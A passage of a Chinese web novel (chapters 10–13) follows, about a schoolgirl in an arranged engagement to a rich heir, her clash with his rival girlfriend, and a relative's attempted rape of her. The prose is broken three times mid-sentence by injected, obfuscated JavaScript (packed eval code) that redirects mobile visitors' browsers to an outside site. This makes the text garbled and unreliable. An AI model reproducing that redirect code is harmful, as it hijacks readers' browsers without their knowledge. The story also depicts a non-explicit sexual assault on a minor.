可她不信,“其实你要争,完全争得过的!你一天不撒手,曹婧就只能做小三,这就是名分的重要性!” “……”女孩在床上翻了个滚,哈欠连天,“什么小不小三的,我们是光荣而兼具重任的社会主义接班人。” “包子,我知道你为我打抱不平。但这种话,你别到外头说。” “拉倒吧,你以为除了我还有谁支持你这个后来者?现在流行一句话,叫不被爱的那个才是小三。你跟她,她先来你后到,啧啧,哪个傻子的名声更岌岌可危啊?” “……” 好吧,我。 池落漪把头蒙起来。 心想城市套路深,我要回农村。 还是快点长大吧。 目前不可以不代表以后不可以。 于这点上,两人默契十足。 * * 转眼寒假。 一场又一场风雪冰封了这个城市的浮华与喧嚣。 杭城太冷。 期末考试一结束,池落漪就盼望着回温暖的云泽。那里有外公外婆和爸爸妈妈,她想他们,每一天都在想。 然而想回去,叔叔婶婶设置了严格的关卡。第一道便是盛伯蕴的邀约。 期间躲过无数次。 池辉郭美娟总算承认无论他们怎么努力、盛时寒都不会对这个寒酸侄女上心后,便不再强迫她。转而把池怡晴打扮得漂漂亮亮的,一家三口做了好几次盛宅的座上宾。 盛伯蕴不是傻子。 慢慢将原有的邀请频率由一周一次转为一月一次,却也无可奈何两个孩子都不出现的境况,大怆,动不动捧起老战友的照片痛哭。 这回,腊月二十三小年。 只有池落漪一人受邀。 作为盛家的准孙媳妇儿、晟昱集团未来的女主人,她出不出现,事关旁支亲属和股东们在未来一年对接班人盛时寒的信任度。这已经不再是个人意愿可以推脱的负担,而是责任—— 爷爷对她那么好,于情于理都不该再伤老人家的心。 当天下午,池辉亲自开车把侄女送过去。管家热情接待,但并未留饭。他脸挂不住,讪讪走了,走前叮嘱池落漪一定要提提城郊地皮的合同。 可池落漪不懂他说的合同。 进屋,脱下外套,便被引至主楼客厅。 这里很清净,灯火辉煌静静投射出一片暖黄的光。刚过四点,不知是客人们还没来、还是已经在宴会厅你来我往觥筹交错了,总之主家意图明显,不想叫她过早应付外人的热情。 起码,先要应付应付未婚夫。 他也在。 这是两人第二次见面。 他靠在沙发上,体态舒展,身形比上次见面似乎精壮许多。 依旧很白,但不是韩国偶像的那种精致的粉白。象牙色闪烁冷光,自带疏离感,将额前碎发和狭长眼眸衬托的愈发黑,冲击力十足。 比较戏剧性的,是他今天的穿着。上身白T外加深灰色V领开衫,下身黑色休闲裤。衣服本身没问题,简约贵气,符合他自身的公子哥气质。只不过女孩偏偏穿了件同色系的圆领毛衣和白色半身长裙,同样简单沉静—— 论谁看都像情侣装。 池落漪不知道他尴不尴尬,反正自己挺尴尬的。对视后飞快移开视线,在离他最远的方位坐下来。 他不出声,专注打游戏。池落漪自然不打扰他,发了个会呆后,捡起茶几上的一本书来看。 《思维的囚徒》,全英版,看得有些费劲,好久才读完两页。 正要读出些感悟,盛时寒的手机响了。低沉而持续的振动声打破客厅沉寂的氛围,他一看,眉心发皱,下意识朝她投了个眼神。随后摁掉不接,若无其事地靠回去打游戏,传递出一种有外人在不方便接的感觉。 没多久,又响了。 继续挂断。 池落漪坐立难安,想着要不要去上个卫生间躲一躲。这一分心,书上的字母开始乱跳,不远处那微弱的游戏打斗声也变得刺耳,有意不叫她安生。 “要不我……” “会打游戏吗?” 这人今天说的第一句话就打断了自己要说的话,真讨厌。 她懵懵的,“啊?” “过来。”言简意赅。 池落漪放下书,走过去,在他示意的位置坐下。 “会打游戏吗?” “不会。” “哦,那帮我下。” “不会怎么帮……” 他很熟稔,手机塞过来,光明正大地使唤自己做个工具人。 “不用会,这是上下左右键,你按着走一走动一动,别让他挂机就行。” 他的手白而修长,骨节分明。袖口挽了一道,露出的手腕遒劲有力。手背随之动作的时候,在灯光下呈现出明显的青色经络,像极了画本上的标准模子,艺术感十足。 池落漪不经意一看,被其间的环状物闪了下眼睛,缓了缓,略笨拙地挪动手指,道,“这样?” “恩。” “那你自己怎么不弄、” 两人离得很近。 她问这话的时候,眼眸微抬,正对上盛时寒低垂的眼睛。 他没躲开,凝视她几秒,鼻息间一缕薄荷清凉喷洒在她睫毛上。末了喉咙一滑,面无表情地往后撤,“不愿意做就放下,哪那么多废话。” 池落漪在受气和反抗间选择受窝囊气。倒不是怕他,而是没事做。毕竟英文名著很无聊,打游戏嘛……emm,至少他玩的人物挺帅的,绝大多数正常的高中生都会选择后者。 可盛时寒不正常—— 他竟然在盯股票。 ipad上花花绿绿的心电图,以自己浅显的认知辨别,就是股票。 手心快出汗了。 游戏界面局势不比股市简单。 分不清是队友还是对手的人物在小地图上乱窜,伴随激烈的打斗特效,有一种随时会被波及的紧张感。 “好没好?” “没有。” “快点……好像有人骂你了。” “你没动?” 女孩焦头烂额,“动了呀。”边说边把手机送过去,“你看。” 盛时寒凑过来,发现问题解决问题,“周围那么多草丛,你多换几个待。还有旁边的小怪,不行你打一打。” “怎么打?” “随便。” “哦。”池落漪放心了。既然可以随便,那她就很随便。 随便地换了草丛猫着。猫累了,对着小怪随便地释放技能键。地图中间逐渐乱成一锅粥,她跌跌撞撞地窜进附近的一个草丛中,预备随便地观个战。 然而可能她出现的方式太蠢太随便了,一只金鸟由远及近呼啸而来。附近那么多人,它不撞,偏偏撞向自己。啪嗒一声,角色被定住,怎么操控方向都走不了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745781|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……盛时寒!” 这是她第一次叫这个名字。 “怎么了?”当事人匆匆望过来。池落漪来不及解释,扔烫手山芋似的把手机扔他怀里,“你快看吧,你好像有一点死了……” “不奇怪。”他没空搭理,这回将手机扔茶几上,专注于ipad。 很关键,分心会错失一个亿?就这样带着浓浓的质疑,看他修长的手指在键盘上敲敲打打。 不愧是从小以精英模式教育长大的继承人,连打字动作都那么标准。 终于,他舒了口气,放下ipad、将手机拿过来点开。 此刻屏幕上呈现一个大大的英文字母:defeat。再点,战绩由原来的12-1-5变成了12-9-6,同时收到了系统的挂机惩罚。 他“嘶”了声: “怎么这么笨?” 要多欠扁就多欠扁。 池落漪起身回到原来的位置坐下,不客气地回个句: “你才笨。”没有功劳也有苦劳吧? 盛时寒挑眉,似笑非笑,慵懒地向后一靠。他不打游戏了,专盯着她手里的书出神。 他的书?不借看的意思? 那也不愿意在此刻还他。 女孩想。 再来个电话吧,或者随便什么的把他弄走,不然接下来的饭都不能好好吃了。就这样祈祷着,老天眷顾,不一会还真有人冲进来—— “喂!曹婧电话都打我这了!她给你打了好几个怎么不接啊?”带头的男孩笑恣飞扬,横冲直撞。 印象里,他不是盛家的亲属。但从架势看,肯定是盛宅的常客了。 “冷战了半学期,人好不容易不生气了,咱可别雷点蹦迪了好吗?” 曹婧。 池落漪略微迟钝地想起她是谁。 而来人比他更迟钝。一屁股坐下来,随后跟炮弹似地弹起。看了看盛时寒,又看了看她,阳光的娃娃脸被一种叫尴尬的情绪劈得外焦里嫩,“还有客人在哈?这这这不会就是你那个小未婚妻吧?” 没人理他。 跟进来的几个男孩笑喷了。他竖了个中指,坐过来,自来熟地捧起“客人”的手握了握,“你好你好,我叫严子行。这两个,郑飞、金睿,那货叫陆佑雨,我们是盛时寒的好哥们。” “第一次见,甚是惊艳!” “喂,怎么不早跟我们说你媳妇儿长得这么好看?防着我们是不是?真不要脸!” 见人说人话,见鬼说鬼话……池落漪将手抽回来,眉眼轻抬。 哗,外头起风了。 风吹落庭院里一棵孤植的松树上的雪,扑簇簇地落了满地。而她正在这片古朴的框景中,像极了从画中走出的雪美人。 按她的年纪,用“美人”来形容是不太贴切的。只是眼前的几个男高中生语言成绩一塌糊涂,说不出更有内涵的夸赞,单纯从“色根”上确定她是身边很稀缺的美女类型。 皮肤白,身量纤纤。巴掌大的脸上五官匀称,脸颊还带着些许婴儿肥。眉毛稍淡,明显没人工修理过。但形状舒展,雾色一样,显得那双琥珀色眼睛也像蒙了层雾气,神秘而疏离。 相对于眉眼的柔和,她下半张脸的轮廓要清晰很多。 水滴鼻,正面看立体而精致。嘴唇不算特别饱满,但唇色干净,唇形如花瓣,笑起来甜不甜不知道,但不笑的此刻,下颌微收,嘴角自然下落,从内而外散发出一种淡淡的清冷感。 “你们聊。” 瞧,真的冷。 说走就要走。 “我们走!”严子行,郑飞几人抢在她前头,“我妈喊我回家吃饭了!” 盛时寒嗤了声,“现在回?” “回!”异口同声,“今天小年,谁家不吃团圆饭?拜拜了您嘞!” 天色愈暗,衬得雪色广袤而皎洁。 主人去回电话了。而池落漪重新捧起那本《思维的囚徒》,边拼边读。这次专注看了十几页,老管家才来: “时寒、池小姐,要开席了。老爷请你们过去,大家都等着呢。” 11. 第十一章 路上沾染梅香。 他们脱掉外套,一前一后入厅。瞬间,大家的目光都聚集在他们身上。盛朵童言无忌,瞪大眼睛哇了声,“哥哥嫂嫂穿了情侣装,好配啊!” 哄堂。 连池伯蕴都一改往日严肃,乐呵呵地朝他们招手。 “到我身边坐。” 右手边,象征绝对地位。池落漪第一位,盛时寒第二位,之后才是其他成员。男人西装革履,女人珠光宝气,孩童也都闪闪发光的。 看来包子的信息来源很准确,盛家人丁兴旺,的确是个大家族。偏偏今日的两位主角,一个无父无母,一个无父母不疼,倒显得他们的存在很另类,不怪盛老爷子多疼几分。 “年关已至,很高兴今天能团聚在一起。你们长大了,渐渐有了自己的家庭和事业,除了这些个节日,我也难见你们。不过既然来了,还是那句话。我盛家百年兴旺,靠得就是兄友弟恭,家庭和睦。如今,时寒成年了,能力和人品都十分突出。我已决定待到他完成学业,就将晟昱的担子交给他接手。你们这些个,无论是叔叔、还是做弟弟妹妹表兄姨亲的,将来都要诚心辅佐他。他好,你们才能好——” “都知道了吗?” “知道了!”短暂的鸦雀无声后是异口同声,豪门水深,没人敢否定盛家家主的决定。 事实上,来之前便隐隐约约感知到这次聚会的不同。毕竟盛时寒即将毕业出国,毕竟他和一个对他未来事业毫无助力的女孩订了婚。 “今天,我们家的一位新成员,漪漪,她也到场了。订婚那日事多,你们见过,却没能好好认识认识。借这个机会,我就把早该说的话、说了,好叫你们知道我的态度——” “不管池家如何、外界如何,漪漪是我认定的孙媳妇儿。除了她,没有任何一个人配做我盛家未来的女主人。” “时寒。” “你听清楚了吧。” 隼厉的目光穿透慈蔼的伪装,如刀光剑影般落到年轻男人身上。 盛时寒冷着脸,脸颊肌肉有一瞬间的抽搐,末了勾唇冷哧,提起一抹极淡的弧度,“……是么?” “是。” 针锋相对。 在场人心提到嗓子眼。 这爷孙俩的关系,搁以前赶得上贾母和贾宝玉。自从订了这门亲,三天一小吵五天一大闹。 池落漪恨不得消失。 “爷爷,我……” “好的。”他打断她的话,又一次。 “好的,爷爷。” “所以您一定要长命百岁。” 这话什么意思?无非说盛伯蕴剃头挑子一头热,他活着,这条婚约才能持续下去。而百年之后,谁还能管得了新任接班人? 盛伯蕴气得吹胡子瞪眼,连盛朵都投来同情的目光。 池落漪画圈圈诅咒他十几遍。 心想,牛什么? 我也很快能到十八岁。 …… 吃完饭,天开始飘雪。 客人们陆陆续续告辞返家,池落漪从卫生间出来,也着急联系叔叔派来的司机。 正低头发短信,头顶有一晃黑影照过来。她抬眸,发现盛时寒懒懒地倚靠着走廊墙壁,似乎在等人。而一只手里拿的,是她的羽绒服。 “好了?” “……额。” “爷爷让我送你回去。” “不用。”由于一直在心底骂他,她心虚,下意识将毛衣袖口往下拉。 “司机已经在门口等我了,你替我谢谢爷爷吧。” “想说自己去说。我不是传话的。” 女孩无奈,“行吧。”又把毛衣袖口往下拉了拉,“衣服给我,谢了。” 他蹙眉,没动也没说话。就这样盯得她头皮发麻,不住后退,害怕被一口吃了。 然而他追上来,捉住她手臂,将袖子往上一捋。 昏暗灯光下,红疹暴露出来,与她雪白的肌肤形成极大反差。 有些惨不忍睹,想忽视都不行。 “你怎么了?” “没事。”池落漪本来就浑身痒,头脑昏昏沉沉。这一来,更焦虑了。她确认了他手间套着的环状物、的确是他们的订婚戒指。 为什么?意志有一瞬的恍惚。 她很想想通,可现在清醒都比较困难。便不想了,着急回去抹药膏,“你松开我,我回家了。” 他不放,神经病似的,“听没听见我说话?我问你怎么了?” “没怎么,就过敏。你再拦着我,我可能就要死了。” 这人难得语塞。 “什么过敏?虾,蟹?” 她摇头,“不是,这些多好吃呀,不会过敏。过敏的是那个芒果,mango,m,a,n,g,o。” 还有心情玩单词拼写。 盛时寒眉骨狠狠跳了下,“这时候不哑巴了,盛朵端蛋糕给你的时候怎么不拒绝?” 女孩没了耐心,“想吃行了吧。你到底放不放开的。” “去医院。” “不要。” 他顿了顿,语气放缓,“你不想让爷爷知道可以,我送你去。” 她还是试图把手抽出来。 “真的不用。” 盛时寒耐心耗尽,“如果介意我曾说的话,那大可不必。” “我说了我会照顾你,像对亲人那样。” 池落漪忽然笑了。 反问,“亲人?” 印象里第一次见她笑,感觉跟别人很不一样。别人笑,五官飞扬。她却哪里都红红的,隐有水光。 他不自觉松手。 而她夺回自己的羽绒服,抱着向后退,红红的嘴唇一张一翕。 “这里没有我的亲人。他们无法长命百岁,他们都死了。” …… 回云泽的半个月过得很快。 这里山是沉寂的,风是清澈的,日出而作日落而息。 很多旧事明明以前做过很多次,再回头,却成了她为之神往的新事物。 她喜欢在天蒙蒙亮的时候、拎竹篮上山摘最嫩的茶叶尖儿。 一望无际的茶园中,随处可见熟识的乡亲、朋友。他们挥手,用少数民族语言夸她长高了、漂亮了,还硬把自家篮子里的收成倒进她篮子里。 日出满载而归,她迎着云雾中飘来的蒙蒙细雨朝家奔去。 推开门,外公外婆就坐在院子里的大榕树下等她—— 唤:“回来啦?吃饭了!” 一幕幕枯卷泛黄,盘旋在返程池家后的梦里。好几次哭湿床单,想,下次有人等她吃饭,又要半年178天了…… 一天天数着日子过,便显得开学返校的光阴尤为难熬。 三月,燕子都垒窝了,满城春意才在西湖两岸抽芽的柳枝头萌生。 新学期伊始,本该有一两周的放松适应时间。但恒外身为重点高中,治学严谨是出了名了。富人们每年花很多钱把孩子送进来,最差的结果是在国内上个好大学。而终极目标,出国,则是大多数豪门子弟的选择。 AP考试、托福雅思、SAT/ACT模考,包括各种外部竞赛……国际部学生在这三年里走的每一步精心策划。 听说去年十二月,盛时寒便收到来自牛剑两所学校的双面邀。不出意外正式offer在来的路上。 曹婧也被预录取了。得知消息,包悦比她这个“关系人”还急,“伯明翰大学!一个英格兰东,一个英格兰中,你知不知道这意味着什么?” “他、还有她都考上了,那两人一定会一起出国。他们出国潇洒了,你算什么?” “漪漪,我觉得你还没从小乡镇那种摆烂的生活方式里醒过来!这里是杭城,international!我们的生存法则是优胜劣汰又争又抢!你想一想,如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745782|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能牢牢抓住盛家这颗大树,以后要怎么在池家立足?” 一语惊醒梦中人。 从盛时寒那番“警告”开始,她一直计划着主动退婚。 自己未成年,目前在池家没有话语权,甚至监护权都是叔叔婶婶的。即使有幻想,也只能等十八岁成年以后。自己做主,保持尊严。 然而退婚以后的生活…… 她没想过。 尚未发育完全的大脑无法形成战略思维来规划人生。 可又不得不思考。 她不像池怡晴,她没有爸爸妈妈替她谋划,只能靠自己。 “我同意。” “对嘛!你准备怎么做?” “好好学习。” “漂亮!咱们也出国,大不了转国际或者多读一年预科嘛!” “不是……我说备战高考。考个好成绩,上个好大学,读个好专业,找个好工作……咦,挺押韵的,就暂定为深入贯彻党中央国/务院下达的关于下下届高考指导文件的四项目标吧!” 包悦捶树,头顶下起樱花雨。 学校图书馆后头有一片樱花林,在人工湖的中央。这里隐蔽安静,是两人新发现的秘密基地。 “正经点!” “你知道我什么意思!” 池落漪知道。正因为知道,才感激她这么真诚善良。 她沉默了一会儿,抱住她,将头搁她肩膀上,看草地里蚂蚁搬家。 包悦一时不敢动,缓了缓才回抱住这具瘦弱的身体,在她耳边骂了好几句“傻瓜”。 等雨下完了,满地粉云,她才无声消褪眸子里的水雾: “包子,别担心我。” “我也不喜欢盛时寒的。” * * 一切繁杂像有了定论。 包悦不再到处包打听,同学们也很少将她跟什么盛家,什么继承人联系到一起,生活渐渐平静。 天气变热。 几个月来,学校喜报不断,国际部学生接连收到来自加拿大、英国、美国和香港等区域大学的录取offer,领先于其他几所国际学校。 校方蹭热度安排了一场又一场经验交流会,秉着不歧视不区别对待的教学理念,让普通部学生也有膜拜“大神”共享出国经验的机会。 这天,礼堂里,池落漪终于见到大家口中的曹婧。 优秀,漂亮,落落大方。 和盛时寒并肩站在聚光灯下,发言致辞,成为焦点。他们一个上台一个下台,仅一个对视,就自然而然为对方接下证书和鲜花,默契十足。天之骄子天之骄女于此刻具象化,台下不约而同飘起澎湃的掌声。 “太配了!” …… “woc哦我真不想嗑cp!” …… “原地结婚吧谢谢!” …… “他们将来的孩子得多聪明呀!” …… 不背人,一点都不背人。 甚至散场路上,大家讨论的焦点也是这对金童玉女。 池怡晴气得发疯,捂着耳朵脱离队伍。池落漪忽视她丢过来的一句连坐辱骂,加快速度往二食堂走。 眼瞧着就要离开是非之地,偏有人不让她安生。 “小漪漪!小漪漪!” 越来越大、越来越近的呼声。 她装听不见,挽着包悦的胳膊一个劲儿地往前赶。不巧侧前方插进一道红白校服的高二队伍,被迫停下脚步。 “咋办,劫财的还是劫色的?要不要姐妹我先替你跪地求饶?” 她皮笑肉不笑地掐了她一把,沉重转身。 记忆没出错,果然是严子行那个奇怪的家伙。 不止他。 不远处,人潮里,自带结界范围的小团体紧随而来。簇拥的,正是会上那对金童玉女…… 来者不善。 12. 第十二章 “跑啥啊!” “喊你八百遍了,嗓子都哑了!” 严子行气喘吁吁。 池落漪则很镇定: “我们认识吗?” 郑飞几人笑得拍大腿:“叫你别追别追,非犯贱倒贴人家!小漪漪,你是生气了还是真不认识我们啦?” 她摇头,“不认识。” 周围人移动速度开始变慢。探究的目光反复横跳,最终落到为首的明媚女孩身上。 这一幕,本该早发生的,偏偏推迟到正主之一即将毕业的时候。 一个“真爱”,一个父母之命媒妁之言,不难选吧?何况以曹婧风风火火的性格,是不会躲起来装鹌鹑的。腐朽的老观念不足为惧,美貌与实力兼备才是定义真理的唯一标准。 果然,她上前来,直直地注视另一位当事人,撩唇轻笑。 “学妹你好,我叫曹婧。你不认识他们,认识我吗?” 池落漪依旧摇头。 除了从别人那里听来的只字片语,这位,还真不认识。 气氛一时紧绷。严子行见情况不妙,忙出来打圆场,“踏马的是我找小漪漪,谁让你们跟来了?!小漪漪,我Q/Q加你好友了,你怎么不——” “行了吧,闭嘴!” 曹婧不接受好意,打断他,似笑非笑地歪了歪脑袋,“行,不认识我,那他你总该认识吧?” 说完欠了欠身,意图明显地指名那个他是谁。 烦,怎么那么烦。 舆论中心的两人目光一触,各自挪开视线。池落漪想,如果可以,确实可以不认识。上次见面…… 哦,还是小年的那个晚上。 她不识好歹,而他冷冷丢下一句“随你”便拂袖而去。 回家后,过敏情况越来越严重,后半夜都发烧了。郭美娟嫌折腾不愿意叫医生,是刘妈照顾了她一整夜。 太痒了,胳膊上的皮肤被挠破了好几处。几个月过去,伤口仍有淡淡的痕迹。此刻藏于衣袖当中,隐隐胀痛。 “我……” 又被打断。 他开口了,先于自己一步。眉心拧出一条淡淡的沟壑,不耐尽显,“你们走不走,不走我走了。”曹婧回头,嗤笑地挑了挑下巴,“说好一起吃饭,我们不走,你干嘛先走?” “心虚,怕我问出什么呀?” 盛时寒脸刷地黑了。 包悦见状不妙,拉着朋友就跑,可曹婧拽了一把,不仅没能跑掉,还差点摔地上。池落漪心突突跳,回过神来彻底火了,嗓音寒得像冰: “你到底想说什么?” 曹婧怔了下,没想到这人忽然不怂了。脸色僵了几秒,她强装镇定地笑了笑,“不用反应这么大。学妹,我对你没恶意的。” “再这样,我对你要有恶意了。” 围观人越来越多。 兴奋,猎奇……各中吃瓜热情于交头接耳中发酵,巴不得她们打起来。 郑飞,金睿,陆佑雨很不高兴,厉声道,“你过分了!曹婧过来跟你打招呼是看得起你,你不会好好说话吗?” 池落漪依旧刚,“你们又有什么资格教训我?” 曹婧嗔了他们一眼,“行了,你们别说话。池落漪,我再次声明我对你没恶意。只是好奇,你知道我和盛时寒是什么关系吗?或者……” 她挑衅地回了下头,“你怎么看待我和他的关系?” 呵,关系。 论关系,即使当事人都想撇清,但现阶段,还真没有什么关系能比未婚夫妻还紧密。 索性豁出去,“你确定要我说?我说的话会很难听,你承受不了。” “你——” “够了。” 盛时寒终于看不下去了。 他穿着校服,黑白三件套,整体看来和普通高中生没两样。可他的脸和身高过于出挑了,俊逸斐然,即使polo衫懒散地解开两颗扣子,也不影响他由内而外散发的贵公子气质。 就这样上前两步,不怒自威,强大的气场令大家不约而同闭了嘴。 “曹婧,我最后问一次,你走不走?” 曹婧愣在原地,似乎没想到他会趟这趟浑水,然后不等回复,竟真提腿走了,极度淡漠地,不带走一片云彩。 她红了眼眶,险些把衣摆抓烂。 终究没再说什么,紧跟上去,背影像极了一只受伤了、却依旧保持体面的孔雀公主。 她走了,郑飞几人也走了。留下严子行满脸愧疚,夸张地与池落漪作揖拱手,“小漪漪,对不起,我不知道会搞成这样!你别往心里去哈,回去记得同意下我的好友申请……” “同意你妹!”包悦对着他逃跑的背影狠狠啐了口。 “漪漪,我想嫁你!手撕小三,你特么的太帅了太刚了!” 她满手汗,“我等你呢!你不替我撕,只好自己来了。” 两人飞快跑开。 “快快,告诉我,你想说的难听的话是什么? 池落漪往嘴里塞了块糖醋排骨,摇头晃脑的跟念诗似的,“你的脖子真可爱,上面顶着猪脑袋!东方不亮西方亮,二臂啥样你啥样!” 包悦差点笑昏过去。 …… 六月,杭城的夏天要比春天有存在感。高考来临,高一高二生喜提三天假期。 、 三天对许多人来说一晃而过,可对成千上万的莘莘学子来说,却成了决定未来命运的关键一环。 结束后返校上课,课桌左上角贴着考生标签尤为醒目。池落漪看着,既激动又紧张,小心翼翼地把它撕下来,夹在课本里。幻想着有一天,自己成为在考场上奋力一搏的人。 那之后,会有希望快快乐乐地生活下去吧? 不靠别人,靠自己。 嗯,一定会的。 她安慰道。 只是这个标签不好。 姓名:盛时寒 座位号:17 已经被剑桥录取的人松弛到标签都懒得撕,参加高考对他来说大概是一种新奇的体验。 他的人生生来众星捧月,从来不需要奋力一搏,而自己,终其一生是孤独的,只能靠自己。 期末考试前一晚,池落漪从自习室回家了。 叔叔一家还没休息,在客厅吵得热火朝天。地板上到处都是摔碎的瓷器玉器,佣人们站在门口瑟瑟发抖。 发生什么了? 她好奇,却不多问,把书包卸下来抱着,贴着墙根往屋内挪动。差一点就上楼了,一只类似烟灰缸的东西砸到她脚下,分崩离析,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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池落漪深知他不会偏帮自己,这个亏,只能硬吃。 果不其然,她败下阵来,身体摔出去,额头不偏不倚磕上茶几拐角,瞬间肿起来。她顾不上剧痛,爬起来就往楼上跑。回到房间,关门反锁,瘫在地上气喘吁吁。 眼泪不自觉往下掉。 不是委屈,是额头被磕到伤口真的要疼死了。 “呦,这么快回来了。” 一道熟悉的声音从背后响起。她意识到什么,抹了眼泪,转过头来。就见郭兴昂岔着腿坐她床上,嘴角邪恶地勾着,露出恶心又粘腻的微笑。 “谁让你进来的!” “这是我家,老子想进就进。”边说边走过来,堵住门,不让她跑,“池落漪,我问你件事。” “盛时寒搞过你了吗?” 池落漪挣扎,恶狠狠地瞪着他。 “你有病?放开我,再不放开我叫人了!” 他哈哈笑,“你叫啊,外面乱成一团,没人会管你。再说有人管又怎样?我妈会认为是你勾引的我。” 她瞅准卫生间,想跑进去反锁,寻隙重重踹了他膝盖一脚。 可郭兴昂到底是人高马大的成年男人,三两下把她拖出来往里间走,大力扔床上。 13. 第十三章 池落漪这回真害怕了。 手脚并用,又抓又踹,恨不得将他身上的一块肉抠下来。郭兴昂被抓疼了,气急败坏地骑在她身上,啪啪地甩了两巴掌,斥,“老实点!” “池落漪,我要的很简单,你陪我睡一觉,以后在池家我罩你。反正你也不是处了,跟我睡个一次两次,你那个未婚夫发现不了。” “……滚!” 他撤回一只手,猥琐地拍了拍她脸颊,笑,“好啊,马上一起滚。” 手心的滑腻令人下腹一紧。 “妈的,明明和池怡晴是一个祖宗的种,你怎么就这么好看呢?” “第一次见就觉得好看。” 他居高临下的脸沟沟壑壑,吐出的热气叫人作呕,“所以放心吧,我不会搞大你的肚子、让你像她那样被人骂贱货。只要你乖乖的,哥疼你……” 说着压上来,兴奋地撕扯她身上的衣服。 “滚!放开我!” “老实点,不然受罪的是你!好妹妹,说了,哥疼你……” 池落漪瞪红了眼睛,铺天的恐惧已经将她淹没。她凭本能挣扎,上身不断往床头耸。终于,在他即将扯开校服裤的时候,手于慌乱中摸到一个坚硬的物件,像是金属相框。没有犹豫,她抓起来大力砸向恶魔的头,一下又一下,抱着把他砸死的念头。 郭兴昂没防备,被踹下床后抱着头又哭又嚎。 她拉上衣服跑出房间,光脚踩在走廊地毯上,四面楚歌。 最终躲进爷爷的书房里,反锁了一道又一道。 …… 这个夜格外漫长。 她蜷缩在角落里,抱着和爸爸妈妈的合照,醒了哭,哭累了继续睡,昏昏沉沉到凌晨五点钟,才敢回自己房间。 地板上血迹还在,但人不在了,看来没死。她说不清是庆幸还是失望,洗了澡,背上书包,一个人往学校走。 太早,学校还没有人。 她坐在考场外的花坛边,小口吃着张妈塞给她的包子。 有青菜香菇馅儿的,有豆沙芝麻馅儿的,都是她爱吃的。 吃着吃着,眼泪掉下来,她蒙着头在无人的校园里放声大哭…… * * 考试周一晃而过。 周五,考完最后一门试,池落漪背着书包慢慢吞吞地往学校门口走。 最近一直找理由住包悦家,要多快活有多快活。可试考完了,包家一家人按计划出国旅行,即刻的飞机。 包悦不放心她,想带她一起去。但池落漪懂得分寸,婉拒了,扬言自己回去会会那个虎狼环伺的“家”。 然而刚出校门,她就压抑地喘不过气来。闭上眼睛,脑海里不住浮现郭兴昂那张丑陋的令人作呕的脸,令人头晕目眩。 池落漪觉得自己病了,急需心理医生。可兜里干净,连住一晚上宾馆的钱都没有。 还是买刮刮乐吧。 不用身份证的那种。 正要去熟悉的小商铺,一辆车蜿蜒在她跟前停下来。 纯黑suv,不认识的车牌号。车窗锃亮,缓缓下降,露出的一张脸是她认识的。 ……盛时寒? “上车。”言简意赅。 “啊?” 他没什么耐心地摘下墨镜,“上车再问,这里不给停车。” “……” 她摘掉书包,老老实实地从车前绕道副驾驶的位置,开门坐进去。 车平稳驶出狭窄的老城街道,紫薇开了一路。 晚霞余晖穿过枝桠在洒落她光洁的脸上,形成一层淡淡而温暖的光。 “爷爷让我带你去个地方。” 他说话了,侧颜浓郁,与凌厉轮廓不符合的,是睫毛很长。 池落漪望过来,“什么地方?” “我妈家。” “哦……”她是有些惊讶的。毕竟传闻中,他和自己的母亲并不亲。却也不敢表现出来,又“哦”了声,道,“这么急吗?我还什么都没准备呢。” 他侧过来打量她一遭,笑了,是那种得意的笑。池落漪立马明白,这是他的计谋。 盛伯蕴不可能非安排今天去,是他不想带着自己、又不得不带,便选择在她刚考完试、蓬头垢面的时候说走就走,打老爷子一个措手不及。 无耻,无耻至极。 偏装模作样地与她解释,“我是不急,但据说你很快就回云泽了。既然如此,择日不如撞日。” “……要多久?” “两小时。” “怎么这么远?” “在沪市。” 池落漪没脾气了,往下坐了坐,抱着书包闭上眼睛。 一路无话。 …… 再醒天完全黑了,车仍在行驶。只是不同于城市霓虹,此刻车窗外面幽森森的,老远才路过一个路灯。 她晃了晃头,坐起来,适应了一会儿黑暗。还好,驾驶座上有人,还是盛时寒那张冷冰冰的脸,不然联想起和包悦一起看得那些都市怪谈,非得空无一人、或者换成青牙獠面的怪物,才契合这番荒郊野岭的恐怖。 “盛时寒……到了吗?” 她有些怕。 男人看过来,俊逸依旧,只是眉宇间萦绕着丝缕疲倦。 “醒了?快了。” 池落漪不安地攥了攥安全带,“真的是去见你的母亲?说实话,你不会想把我抛尸荒野吧……” 他点头,竟然承认了。 “还不算笨。不过把你抛尸荒野代价太大,闹不好要坐牢,所以还是把你卖了划算。别急,很快就到了。” 她怔了怔,后背发凉,感觉浑身血液冻住了。 下一秒,眼泪喷涌,跟断了线的珠子似的,啪啪地往下掉。 这些天、不,是这一年的委屈与恐惧在此刻爆发。她顾不上分辨真假,只觉得自己是全世界最傻逼的人。 盛时寒傻眼了。 解开安全带,靠边停车,就这样偏头盯着她哭了十分钟左右。 期间提声说了一两次“骗你的”,试图解释,却被忽视,她好像单纯地发泄情绪。 开始小声啜泣,逐渐失声痛哭。 盛时寒不喜欢女人哭。 